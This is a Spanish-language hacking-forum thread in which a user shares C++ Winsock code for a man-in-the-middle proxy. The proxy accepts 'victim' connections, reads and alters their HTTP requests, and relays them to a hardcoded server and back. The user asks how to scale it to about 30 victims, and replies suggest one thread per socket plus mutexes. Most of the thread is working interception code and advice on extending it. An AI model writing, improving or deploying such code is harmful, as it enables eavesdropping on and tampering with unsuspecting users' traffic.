Foro de elhacker.net

Hola, tengo un problema con el MITM, cuando las victimas se van a conectar a mi servidor el servidor recibe la respuesta y reenvia la petición al servidor destino a través de un send(), luego recibe la respuesta de ese servidor y la reenvía la víctima tal cual.

El problema es que cuando haya 30 víctimas ¿como tendré que programar esto?, ¿tendría que crear un subproceso para cada cliente conectado al servidor? ¿sería viable? ¿alguna otra posible solución?.

Os dejo el code, que cambiaríais??.

while (*on_mitm){
 
			int victima;
			sockaddr_in addr;
			addr.sin_family = AF_INET;
			int len = sizeof(addr);
 
			if ((victima = accept(servidor, (struct sockaddr*)&addr, &len)) == INVALID_SOCKET){
				closesocket(victima);
				Sleep(100);
				continue;
			}
			else{
				cout << "conectadoo";
				setsockopt(victima, SOL_SOCKET, SO_RCVTIMEO, (char*)&tiempo_espera, sizeof(timeval));
				setsockopt(victima, SOL_SOCKET, SO_SNDTIMEO, (char*)&tiempo_espera, sizeof(timeval));
 
				u_char *ip_victima = new u_char[4]();
				u_long num_victima = inet_addr(inet_ntoa(addr.sin_addr));
 
				if (num_victima == INADDR_NONE){
					closesocket(victima);
					Sleep(100);
					break;
				}
 
				ip_victima = (u_char*)&num_victima;//busco en la lista ultima.
 
				string respuesta;
				char *bloque = new char[3000]();
				setsockopt(victima, SOL_SOCKET, SO_RCVTIMEO, (char*)&tiempo_espera, sizeof(timeval));
				while (int res = recv(victima, bloque, 3000, 0) > 0)
					respuesta += string(bloque);
 
				cout << "recibido";
				if (respuesta.length() == 0){
					closesocket(victima);
					Sleep(100);
					break;
				}
 
				int cliente;
				sockaddr_in cli_local;
 
				cout << respuesta << endl;
				respuesta = eliminar_encoding(respuesta, true);
				cout << respuesta << endl;
 
				if ((cliente = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR){
					cout << "falla socket" << GetLastError();
					Sleep(REINTENTAR_PROXY * 1000);
					continue;
				}
 
				cli_local.sin_family = AF_INET;
				cli_local.sin_port = htons(80);
				cli_local.sin_addr.s_addr = inet_addr("217.160.43.9");
 
				if (connect(cliente, (struct sockaddr*)&cli_local, sizeof(cli_local)) == SOCKET_ERROR){
					cout << "error conectar" << GetLastError();
					closesocket(cliente);
				}
				else{
					if (send(cliente, respuesta.c_str(), respuesta.length(), 0) == SOCKET_ERROR){
						cout << "error enviar" << GetLastError();
						closesocket(cliente);
					}
					else{
						respuesta = "";
						while (recv(cliente, bloque, 3000, 0) > 0)
							respuesta += string(bloque);
 
						if (respuesta.length() == 0){
							closesocket(cliente);
							closesocket(victima);
							Sleep(100);
							break;
						}
 
						cout << "respuesta server: " << respuesta << endl;
						respuesta = eliminar_encoding(respuesta, false);
						cout << respuesta << endl;
 
						if (send(victima, respuesta.c_str(), respuesta.length(), 0) == SOCKET_ERROR)
							cout << "fallo reenvio a cliente " << GetLastError();
						else
							cout << "se envio al cliente"; 
					}
				}
			}
			Sleep(100);
		}

Saludos.

Está bien un socket por por thread. Mientras los controles, jaja.

Jajaja la muerte.

if ((victima = accept(servidor, (struct sockaddr*)&addr, &len)) == INVALID_SOCKET){
				closesocket(victima);
				Sleep(100);
				continue;
			}

Despues de esto (la conexión) podría abrir un thread pasando el socket "victima", y que interactue con el. Y haga lo demás que hay en el bucle en el otro thread.

Luego al acabar el proceso ese thread moriría.

También para colmo tengo que ir a la lista (con el ** mutex) y obtener el ultimo dominio que redirigí al usuario pues cuando llega la petición al server y la voy a reenviar no tengo ni la ip destino correcta ni el dominio en el paquete, luego... tengo que pasarselo de la lista, muchos subthreads, muchos mutex, muerte y destrucción jajaja.

Cada vez lo veo menos viable, pero no se me ocurre otra manera de reestructurarlo.

Saludos.

Un ordenador puede con muchos threads y muchos sockets, no temas.
Además, lo llaman programación estructurada y programación orientada a objetos. Son dos paradgimas que te ayudarán mucho a cumplir tu tarea.